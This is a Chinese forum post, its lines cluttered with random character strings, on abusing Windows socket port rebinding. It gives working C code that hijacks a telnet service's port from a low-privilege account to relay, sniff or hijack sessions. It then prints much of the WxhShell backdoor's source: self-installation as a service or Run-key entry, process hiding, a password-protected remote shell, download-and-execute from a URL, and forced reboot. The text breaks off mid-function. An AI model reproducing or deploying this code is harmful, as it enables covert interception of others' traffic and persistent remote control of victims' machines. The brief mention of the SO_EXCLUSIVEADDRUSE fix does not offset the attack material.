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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (V"7H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m*v@L4t( 1  
z]j_,3Hff  
  saddr.sin_family = AF_INET; UN:cRH{?*  
HN<e)E38  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?yA 2N;  
_V` QvnT}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~L.5;8a3Pe  
ZQmg;L&7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7 *4i0{]  
5,R<9FjW  
  这意味着什么?意味着可以进行如下的攻击: x(rl|o  
GD!!xt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !X=93%  
t`1~5#?Du(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oOGFg3X  
FQcm =d_s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z-aB[hE  
~-~iCIaTb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (AHTv8  
#c-Jo[%G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q\Z9.T+Qo  
%@%~<U)W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \]Rmq_O  
oM,UQ!x <  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p&HkR^.S  
c32"$g  
  #include A \Z_br  
  #include G ahY+$L,  
  #include =BzBM`-o  
  #include    v=D4O.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t<cWMx5ra  
  int main() j0S[JpoF  
  { ZOL#Q+U  
  WORD wVersionRequested; 1c`Yn:H^  
  DWORD ret; Ua+Us"M3}  
  WSADATA wsaData; >8injW3 52  
  BOOL val;  8vUq8[[  
  SOCKADDR_IN saddr; "p&4Sn3T2?  
  SOCKADDR_IN scaddr; Dj w#{WR  
  int err; W;8}`k  
  SOCKET s; s_6Iz^]I  
  SOCKET sc; H#QPcp@  
  int caddsize; GGFrV8  
  HANDLE mt; Z FIgKWZ'  
  DWORD tid;   7Ur'@wr  
  wVersionRequested = MAKEWORD( 2, 2 ); {tnhP^C3>  
  err = WSAStartup( wVersionRequested, &wsaData ); -i4hJC!3  
  if ( err != 0 ) { pFEU^]V3*  
  printf("error!WSAStartup failed!\n"); C0L(ti;  
  return -1; ^0 /!:*?  
  } kqLpt  
  saddr.sin_family = AF_INET; x!UGLL]_M  
   ?)4c!3#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q>\9/DjUp  
/-g%IeF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;AT~?o`n  
  saddr.sin_port = htons(23); t s=+k/Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K ?V' ?s  
  { M'$?Jp#]}  
  printf("error!socket failed!\n"); wVUm!Y  
  return -1; XMpE|M! c  
  } smX&B,&@  
  val = TRUE; 7] 17?s]t,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WQHlf 0]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m_UzmWF  
  { SuA`F|7?P  
  printf("error!setsockopt failed!\n"); Gdlx0i  
  return -1; r D|Bj(X8  
  } AaJz3oncJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1@`mpm#Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $P Tl{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =`wnng5m  
\Qz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7[(<t+  
  { G3t\2E9S  
  ret=GetLastError(); `R:HMO[ow  
  printf("error!bind failed!\n"); E\~!E20^  
  return -1; !(qaudX{>k  
  } 6CzN[R}  
  listen(s,2); k7bfgb {  
  while(1) <Kq!)) J'  
  { -)E6{  
  caddsize = sizeof(scaddr); +Z/aG k;  
  //接受连接请求 $9<P3J 1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y?V#LW[^E  
  if(sc!=INVALID_SOCKET) {c=H#- A  
  { &fwb?Vn4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u]t#Vf-$u  
  if(mt==NULL) o&rNM5:  
  { |z.Ov&d4)(  
  printf("Thread Creat Failed!\n"); zA&]#mc  
  break; WO{9S%ck  
  } E XQ 3(:&  
  } ],Y+|uX->  
  CloseHandle(mt); uh~,>~a|  
  } $:*/^)L  
  closesocket(s); *iujJ i  
  WSACleanup(); CGCSfoS9f  
  return 0; I)f54AX  
  }   gK- $y9]~+  
  DWORD WINAPI ClientThread(LPVOID lpParam) YnX6U 1/^  
  { $lAhKpdlW  
  SOCKET ss = (SOCKET)lpParam; (\$=+' hy  
  SOCKET sc; F0+@FS0   
  unsigned char buf[4096]; bOdyrynh  
  SOCKADDR_IN saddr; %hb!1I  
  long num; /PtmJ2 [  
  DWORD val; <,(Ww   
  DWORD ret; yyu f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8,&QY%8pX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #W=H)6  
  saddr.sin_family = AF_INET; qvN 5[rb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F$H^W@<w  
  saddr.sin_port = htons(23); OEj%cB!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7a'@NgiGg  
  { 4(}V$#^+  
  printf("error!socket failed!\n"); (khMjFOg  
  return -1; {#uf#J|  
  } 5\P3JoH:Yg  
  val = 100; y ;T=u(}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d i#:KW  
  { NFlrr*=t>  
  ret = GetLastError(); atjrn:X  
  return -1; )\0LxsZ  
  } tU(vt0~b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EyPF'|Qtn  
  { Z<6Fq*I  
  ret = GetLastError(); e(sV4Z~  
  return -1; ;PG,0R`Z;  
  } xouy|Nn'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <LOas$  
  {  9/R<,  
  printf("error!socket connect failed!\n"); }TAHVcX*p  
  closesocket(sc); Rac4a@hZ  
  closesocket(ss); >-<7 r?~  
  return -1; FVS@z5A8<=  
  } >EIV`|b$h  
  while(1) dFVm18  
  { ,daZ KxT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <{b#nPc!,#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IBe0?F #  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 334tg'2]  
  num = recv(ss,buf,4096,0); 00(#_($  
  if(num>0) 5_ioJ   
  send(sc,buf,num,0); Xw[|$#QKM  
  else if(num==0) XveG#oyiU  
  break; 6?(vXPpT$  
  num = recv(sc,buf,4096,0); \Dn an5H/  
  if(num>0) Mny mV;y"  
  send(ss,buf,num,0); Y'%k G5nF  
  else if(num==0) G/5]0]SO  
  break; =f{YwtG  
  } {`CmE/`{  
  closesocket(ss); E0Jk=cq  
  closesocket(sc); [P?.( *  
  return 0 ; [ZkK)78}k  
  } k->cqtG  
4mJ[Wr\y  
p(]o#$ 6[  
========================================================== )rFcfS+/  
;NeN2|I]  
下边附上一个代码,,WXhSHELL 74q |FQ  
$mp'/]  
========================================================== Ik74%x7G`  
I4"U/iL51  
#include "stdafx.h" orzy &4  
o{wXq)b  
#include <stdio.h> X:Z*7P/  
#include <string.h> X[ up$<  
#include <windows.h> $S _VR  
#include <winsock2.h> a4iq_F#NF  
#include <winsvc.h> 4P\?vz"  
#include <urlmon.h> *wetPt)~v_  
x nm!$ $W  
#pragma comment (lib, "Ws2_32.lib") G.#sX  
#pragma comment (lib, "urlmon.lib") \@i4im@%xU  
kan4P@XVS  
#define MAX_USER   100 // 最大客户端连接数 m6=Jp<  
#define BUF_SOCK   200 // sock buffer =ADdfuKN  
#define KEY_BUFF   255 // 输入 buffer L 2:N@TP  
' ;PHuMY#X  
#define REBOOT     0   // 重启 3m9ab"  
#define SHUTDOWN   1   // 关机 )dgo oq  
-^%YrWgd?  
#define DEF_PORT   5000 // 监听端口 $"G=r(MW  
t&99ZdE  
#define REG_LEN     16   // 注册表键长度 &;O)Dw  
#define SVC_LEN     80   // NT服务名长度 IrZ!.5%tV  
;3H#8x-  
// 从dll定义API p+>vX X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zgh~P^Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K9(Su`zr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0ynvn9@t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,S7 g=(27(  
KDzTe9  
// wxhshell配置信息 YZH &KGY  
struct WSCFG { R |h(SXa  
  int ws_port;         // 监听端口 BE]PM nI  
  char ws_passstr[REG_LEN]; // 口令 wkwsBi  
  int ws_autoins;       // 安装标记, 1=yes 0=no #^ cmh  
  char ws_regname[REG_LEN]; // 注册表键名 ~qxuD_  
  char ws_svcname[REG_LEN]; // 服务名 "dO>P*k,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hkck=@>8H*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U F ]g6u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XV> )[Nd\H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P,@ :?6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $rG~0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y uo  
atA:v3"  
}; s,|s;w*.  
<(U :v  
// default Wxhshell configuration :UgCP ~Y  
struct WSCFG wscfg={DEF_PORT, 2l9RU}  
    "xuhuanlingzhe", (;o/2Q?  
    1, *?GV(/Q  
    "Wxhshell", 8={ " j  
    "Wxhshell", 7CKh?>  
            "WxhShell Service", lB Y"@N  
    "Wrsky Windows CmdShell Service", L~])?d  
    "Please Input Your Password: ", 3\Ma)\>R\-  
  1, [Q=NGHB1/  
  "http://www.wrsky.com/wxhshell.exe", IfdgMELk  
  "Wxhshell.exe" MSw:Ay [9  
    }; i$:\,  
f4TNy^-  
// 消息定义模块 g^dPAjPQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $stBB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hn bF}AD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _Bh ^<D-  
char *msg_ws_ext="\n\rExit."; *75?%l  
char *msg_ws_end="\n\rQuit."; (t\ F>A  
char *msg_ws_boot="\n\rReboot..."; +80yyn#  
char *msg_ws_poff="\n\rShutdown..."; ]"Qm25`Qz  
char *msg_ws_down="\n\rSave to "; 1|c\^;cTkt  
9(PQ7}  
char *msg_ws_err="\n\rErr!"; #6%9*Rh  
char *msg_ws_ok="\n\rOK!"; ^l(Kj3gM  
`T]1u4^E  
char ExeFile[MAX_PATH]; rfdT0xfcU  
int nUser = 0; @}{~Ofs  
HANDLE handles[MAX_USER]; w9J^s<e  
int OsIsNt; RI q9wD}4(  
xxlYn9ke  
SERVICE_STATUS       serviceStatus; "$VqOSo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _m+64qG_8'  
BrQXSN$i  
// 函数声明 6H\apgHm  
int Install(void); X~ AE??  
int Uninstall(void); IC6}s  
int DownloadFile(char *sURL, SOCKET wsh); ; iK9'u  
int Boot(int flag); &!lGx7zf  
void HideProc(void); D6KYkN(,v  
int GetOsVer(void); ]ctlK'.  
int Wxhshell(SOCKET wsl); *0 0K3  
void TalkWithClient(void *cs); ?1z." &  
int CmdShell(SOCKET sock); I<'wZJRRa  
int StartFromService(void); Y GZX}-  
int StartWxhshell(LPSTR lpCmdLine); FD&"k=p+X  
l }i .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S]7RGzFe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x[,HK{U|t  
jJN.(  
// 数据结构和表定义 P1Z+XRWOM  
SERVICE_TABLE_ENTRY DispatchTable[] = '7!b#if  
{ D-[` wCa,  
{wscfg.ws_svcname, NTServiceMain}, O<1qU M  
{NULL, NULL} V _&>0P{q  
}; @GB~rfB[  
XCGJ~  
// 自我安装 [a&|c%h  
int Install(void) Lwg@*:`d  
{ 0koC;(<n  
  char svExeFile[MAX_PATH]; "Yo.]P U  
  HKEY key; pL {h1^O}  
  strcpy(svExeFile,ExeFile); J8T?=%?=  
EMDsi2  
// 如果是win9x系统,修改注册表设为自启动 /idQfff  
if(!OsIsNt) { ~ cKmf]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eJ+uP,$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }K!)Z}8  
  RegCloseKey(key); ng-g\&-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z]NzLz9VfL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `|1#Vuk  
  RegCloseKey(key); nQ0g,'o  
  return 0; F0O/SI(cA  
    } a| *{BlY  
  } ov{  
} w!0`JPu  
else { ZE())W"  
wgK:^D P  
// 如果是NT以上系统,安装为系统服务 6w d0"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !z !R)6  
if (schSCManager!=0) Sc!{ o!9\  
{ qjsS2,wM  
  SC_HANDLE schService = CreateService ;'.[h*u~<  
  ( 0u]!C"VX  
  schSCManager, _`/: gkZS  
  wscfg.ws_svcname, zqaz1rt[  
  wscfg.ws_svcdisp, =kp-[7  
  SERVICE_ALL_ACCESS, O<0G\sU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z\{"/( Hi  
  SERVICE_AUTO_START, Ut;, Z  
  SERVICE_ERROR_NORMAL, `wJR^O!e  
  svExeFile, 6]=R#d 7U  
  NULL, ,qS-T'[v,(  
  NULL, uY,(3x  
  NULL, TNA?fm  
  NULL, 6gLk?^.  
  NULL t,mD{ENm&  
  ); (RP"VEVR  
  if (schService!=0) %<|w:z$vp  
  { Jl-Lz03YG  
  CloseServiceHandle(schService);  Pa .D+  
  CloseServiceHandle(schSCManager); }{J5)\s9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l .8@F  
  strcat(svExeFile,wscfg.ws_svcname); 6dG:3n}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v-;j44sB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Fq"lq %  
  RegCloseKey(key); x \.q zi  
  return 0; ]-Z="YPY  
    } _;] 3w  
  } X~DI d  
  CloseServiceHandle(schSCManager); "v @h  
} S H"e x,=  
} Iv6(Z>pAB  
os<B}D[  
return 1; @z8,XW }  
} wHSas[4k  
RR u1/nam  
// 自我卸载 1LbJR'}  
int Uninstall(void) T)"B35  
{ n+db#qAj5  
  HKEY key; T}ZUw;}BL  
b~khb!]  
if(!OsIsNt) { 1}A1P&2>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bn83W4M  
  RegDeleteValue(key,wscfg.ws_regname); sLGut7@Sg  
  RegCloseKey(key); #{]X<et  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @`&kn;7T  
  RegDeleteValue(key,wscfg.ws_regname); eIEr\X4\~~  
  RegCloseKey(key); F;Q8^C0e*c  
  return 0; tta\.ic  
  } DYJ F6O  
} -r%3"C=m  
} +I$ k_  
else { xFU*,Y  
H"_ZqEg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :zXkQQD8`  
if (schSCManager!=0) v(+9&  
{ 1l$c*STK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;++CMTza]  
  if (schService!=0) 5&WYL  
  { ).[Mnt/Ft  
  if(DeleteService(schService)!=0) { ~J}{'l1{yf  
  CloseServiceHandle(schService); eyq8wQT  
  CloseServiceHandle(schSCManager); Q`nsL)J  
  return 0; 1+1Z]!nG#!  
  } _~?N3G  
  CloseServiceHandle(schService); C NDf&dzX8  
  } [89qg+z  
  CloseServiceHandle(schSCManager); K3QE>@']  
} 0Q^a*7w`8a  
} x7qVLpcL3z  
}@ Nurs)%_  
return 1; b5kw*h+/'h  
} C?v_ig  
[<;4$}f\  
// 从指定url下载文件 6xk~Bt  
int DownloadFile(char *sURL, SOCKET wsh) v7?sXW  
{ }P8@\2@=T  
  HRESULT hr; xh$1Rwa  
char seps[]= "/"; F dR!jt  
char *token; \ W3\P=  
char *file; gxry?':  
char myURL[MAX_PATH]; U$; FOl  
char myFILE[MAX_PATH]; AV"fOK;#A  
v%_5!SR  
strcpy(myURL,sURL); Tx)X\&ij&  
  token=strtok(myURL,seps); %d<uOCf\Q  
  while(token!=NULL) u{F^Ngy )  
  { zKycd*X  
    file=token; 's.%rre%  
  token=strtok(NULL,seps); UZ8 vZ  
  } 8!a6)Zeux  
Q;m:o8Q5  
GetCurrentDirectory(MAX_PATH,myFILE); 9>y6zFTV  
strcat(myFILE, "\\"); ?&Zfb  
strcat(myFILE, file); ! &f(X s  
  send(wsh,myFILE,strlen(myFILE),0); vYT%e:8)q  
send(wsh,"...",3,0); Nqih LUv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jS LNQ  
  if(hr==S_OK) `~zY!sK  
return 0; GfEg][f  
else @<$-*,  
return 1; 86[/NTD<-  
,2H@xji [  
} ?T+Uu  
fv1pA+zN[  
// 系统电源模块 6$"gm$3O]  
int Boot(int flag) *XRAM.  
{ h,:8TMJRRN  
  HANDLE hToken; "i+fO&LpZ  
  TOKEN_PRIVILEGES tkp; a<-'4D/  
rFY% fo  
  if(OsIsNt) { oLJP@J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y'ZRoakz)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i #5rk(^t  
    tkp.PrivilegeCount = 1; eGZ{%\PH<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $tGk,.#j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C]22 [v4  
if(flag==REBOOT) { x.Sq2rw]V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SDY!!.  
  return 0; qPJU}(9#B  
} SiN22k+  
else {  yQkj4v{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jvysvi{8  
  return 0; %G~ f>  
} cN/8 b0C  
  } cTy;?(E  
  else { zD>:Kj5  
if(flag==REBOOT) { 7x *]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F8(6P1}E  
  return 0; \}O'?)(1  
} l56D?E8  
else { [12^NEt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~~h@(2/Q>x  
  return 0; %]/O0#E3Kz  
} &yFt@g]  
} ~(2G7x)  
fD8A+aA  
return 1; `mU'{  
} #!,tId  
* A B  
// win9x进程隐藏模块 l1X& Nw1W  
void HideProc(void) <mE)& 7C  
{ ({/@=e x*  
%M+ID['K9/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YG<7Zv  
  if ( hKernel != NULL ) }nrl2yp:%  
  { >_ji`/ d{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mT8")J|2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Gyv%> .  
    FreeLibrary(hKernel); $7q'Be@{  
  } \IZfp=On  
K 2J DG.<  
return; 6PETIs  
} /aa'ryl_%  
tlo"tl_]  
// 获取操作系统版本 =;(wBj  
int GetOsVer(void) pgg4<j_mn  
{ _h#SP+>  
  OSVERSIONINFO winfo; 5f&+(Wqw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8+ 5-7)  
  GetVersionEx(&winfo); we6']iaV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b<UZD yN~  
  return 1; K * Tj;  
  else `>^2MHF3LT  
  return 0; )L?JH?$C  
} T7E9l  
'2+Rb7V  
// 客户端句柄模块 FuEgI8+b  
int Wxhshell(SOCKET wsl) {}ks[%,_\  
{ /"d5<B`%  
  SOCKET wsh; m7z6c"?lB  
  struct sockaddr_in client; g0-hN%=6  
  DWORD myID; _1w?nN'  
2J;h}/!H  
  while(nUser<MAX_USER) Q/T\Rr_d  
{ Yc+0OBH[  
  int nSize=sizeof(client); #`P4s>IL1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V9 <!pMj  
  if(wsh==INVALID_SOCKET) return 1; %zg&eFRHI  
31b9pi}nf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rg! [ic !  
if(handles[nUser]==0) g`)2I+L7  
  closesocket(wsh); 0w?\KHT  
else 't3/< h<  
  nUser++; -P+( =U  
  } Yn ZV.&4{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !@E=\Sm8EV  
RH+3x7 l  
  return 0; 7o?6Pv%HJC  
} p;av63 i  
`PI,tmv!  
// 关闭 socket WZ}c)r*R  
void CloseIt(SOCKET wsh) "qEHK;  
{ SJhcmx+  
closesocket(wsh); M%H<F3  
nUser--; uZ mi  
ExitThread(0); JwR]!  
} qv<[f=X9|  
aagN-/mgm  
// 客户端请求句柄 mVGQyX  
void TalkWithClient(void *cs) A@^e 4\  
{ /I~iUND"G  
@A(*&PU>j  
  SOCKET wsh=(SOCKET)cs; =>".  
  char pwd[SVC_LEN]; 8 /Z  
  char cmd[KEY_BUFF]; Nq>74q]}n8  
char chr[1]; Ct[{>asun  
int i,j; ^S*~<0NQ'  
aNgaV$|2a  
  while (nUser < MAX_USER) { L1#z'<IO  
ws:@Pe4AF  
if(wscfg.ws_passstr) { |}paa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A$G>D3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &CW,qY,sh  
  //ZeroMemory(pwd,KEY_BUFF); )&[S*g  
      i=0; l v]TE"  
  while(i<SVC_LEN) { f,Vj8@p)x  
Tvr2K84l  
  // 设置超时 {f] K3V  
  fd_set FdRead; O:'UsI1Y  
  struct timeval TimeOut; j`1% a]Bwc  
  FD_ZERO(&FdRead); k mjSSh/t  
  FD_SET(wsh,&FdRead); &i*/}OZz  
  TimeOut.tv_sec=8; [@MV[$W5  
  TimeOut.tv_usec=0; yLFc?{~7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ] dB6--  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jvt| q5  
L2Ynv4llm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L~fx VdUz  
  pwd=chr[0]; w[Ee#Yaj.-  
  if(chr[0]==0xd || chr[0]==0xa) { zrYhx!@  
  pwd=0; bY:A7.p7#  
  break; omQa N#!,  
  } r(./00a  
  i++; h32QEz-+  
    } CqQ>"Y  
o9+ "6V|.  
  // 如果是非法用户,关闭 socket 4bD^Kc 4\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1wpT"5B  
} 26|2r  
?qwTOi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cA_77#<8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mZ sftby}  
/Y("Q#Ueq  
while(1) { )`?Es8uW  
co<-gy/mCR  
  ZeroMemory(cmd,KEY_BUFF); 47s<xQy  
wzhM/Lmo\z  
      // 自动支持客户端 telnet标准   ehQ"<.sQ  
  j=0; Vrl)[st!;I  
  while(j<KEY_BUFF) { 7)sEW#d!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t b5k|  
  cmd[j]=chr[0]; kW>Q9Nc=V  
  if(chr[0]==0xa || chr[0]==0xd) { ](yw2c;m e  
  cmd[j]=0; T-x1jC!B'  
  break; sev^  
  } Dpp 3]en.  
  j++; w7NJ~iy  
    } ed$g=qs>  
kylR)  
  // 下载文件 7:x%^J+  
  if(strstr(cmd,"http://")) { B,?Fjot#m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uKF?UXc  
  if(DownloadFile(cmd,wsh)) HlEp Dph%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e<s56<3j  
  else 'j>+eA>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ],vUW#6$N  
  } 6B 4Sd  
  else { 5`CPaJT$  
0MDdcjqw  
    switch(cmd[0]) { :|/bEP]p/  
  Rh#0EbE2  
  // 帮助 AA&398F  
  case '?': { ncS.~F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b(wzn`Z%Et  
    break; Z(LDAZG  
  } VP^Yph 8R  
  // 安装 "4N%I  
  case 'i': { .),%S}  
    if(Install()) EIO!f[]o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~7E8  
    else v%c r   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5m2(7FC%su  
    break; D6&fDhO27  
    } kb<Nuw  
  // 卸载 \q#s/&b   
  case 'r': { z-(@j;.  
    if(Uninstall()) GFd~..$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -AwR$<q'  
    else @ @$=MSN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rt!G:hy7  
    break; -N`j` zb|  
    } u,<I%  
  // 显示 wxhshell 所在路径 {6Tw+/`P  
  case 'p': { X51pRP $R  
    char svExeFile[MAX_PATH]; 7MIu-x|  
    strcpy(svExeFile,"\n\r"); !%b.k6%>w  
      strcat(svExeFile,ExeFile); Yjxa=CD  
        send(wsh,svExeFile,strlen(svExeFile),0);  R~u0!  
    break; DArEIt6Q  
    } [OJ@{{U%  
  // 重启 m)4s4P57y  
  case 'b': { .m_yx{FZ=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Gm,lNQAv  
    if(Boot(REBOOT)) envu}4wU=e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Fhiac  
    else { L12m ;  
    closesocket(wsh);  `=b)fE  
    ExitThread(0); 0JTDJZOz@#  
    } "(j.:jayd  
    break; <]I[|4J 7  
    } -Si'[5@  
  // 关机 U1(<1eTyu  
  case 'd': { \.p{~ Hv  
